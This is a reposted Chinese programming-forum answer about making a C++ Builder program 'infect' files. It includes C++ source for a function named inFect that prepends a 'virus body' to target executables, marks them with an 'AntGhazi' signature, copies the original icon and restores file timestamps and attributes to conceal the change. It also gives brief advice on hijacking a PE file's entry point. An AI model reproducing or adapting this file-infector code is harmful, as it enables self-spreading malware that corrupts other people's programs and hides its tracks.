关于BCB写入文件举行传染的问题[VC/C++编程]
本文“关于BCB写入文件举行传染的问题[VC/C++编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
提醒一点,一种最简单的办法是,自己做一个外壳程序(Shell),然后将要运行的程序以某种方法放入到外壳程序中(比方以资源大概特定位置数据),而外壳程序可以抽取原可执路程序文件得图标,并可改正自己的图标与之相同.这样一来,经过改正的程序就是 外壳程序 + 原可执路程序(已作为数据存在于外壳程序中),运行后自然先启动外壳程序,你可以在此中加入一些权限断定的代码,通过考证后,外壳程序将自身中的真正可履行文件数据提取并运行.这里面的要求是,外壳程序必须用纯 WinAPI SDK 方法编写,以削减文件体积;外壳程序该当对写入自身的原可执路程序数据作加密处理,以防被盗取.你可以位外壳程序增添传染功效(不要做病毒哦……)等等.
/****************************************************************************
Function Name : inFect
Function : 传染文件
Parement : char *strFile 文件名
char *strSource 病毒体
DWORD dwSourceSize 病毒体长度
Return : if success return 1,else return 0;
*****************************************************************************/
int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){
HANDLE hSearchFile=NULL;
DWORD dwSearchFileSize=0;
char VirusFlag[10]={'\0'};
DWORD bytes_write;
WIN32_FIND_DATA lpFindFileData=_lpFindFileData;
char *strFile=lpFindFileData.cFileName ;
//char *strFile="AntGhazi.tmp\0";//测试时,特定只传染此文件
//strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//测试时,特定只传染此文件
::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);
hSearchFile=::CreateFile (strFile,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(hSearchFile == INVALID_HANDLE_VALUE){
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //先读取标志
::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);
if(strcmp(VirusFlag,"AntGhazi")!=0){ //传染
//先读取长度
dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //原长度
if(dwSearchFileSize>10485760){ //假如文件大于10M,则退出
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
char *pSearchFile=new char[dwSearchFileSize];
::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //读取原文件内容
::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
memmove(strSource+80,"AntGhazi",8); //写入标志
memcpy(strSource+88,&dwSearchFileSize,4); //写入源长度
::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //预备写入文件中
ModifyIcon(&strSource,pSearchFile); //改正ICON
::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);
::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
delete pSearchFile;
SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//写入日期
::CloseHandle (hSearchFile);
}else{
::CloseHandle (hSearchFile);
}
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 1;
}
先弄懂得EXE文件的格局,每个EXE文件都有一个文件头叫PE,那文件头里面定义了该EXE文件里面各段的地址等很多重要的数据,有一个起始的指针指向程序开始运行的进口地址,你做个外壳把那地址改成你的程序进口,然后在你程序完毕的时刻转到本来的那个进口便可以了.
说起原理来简单,但想弄懂得PE可真不是件简单事哦!
以上是“关于BCB写入文件举行传染的问题[VC/C++编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |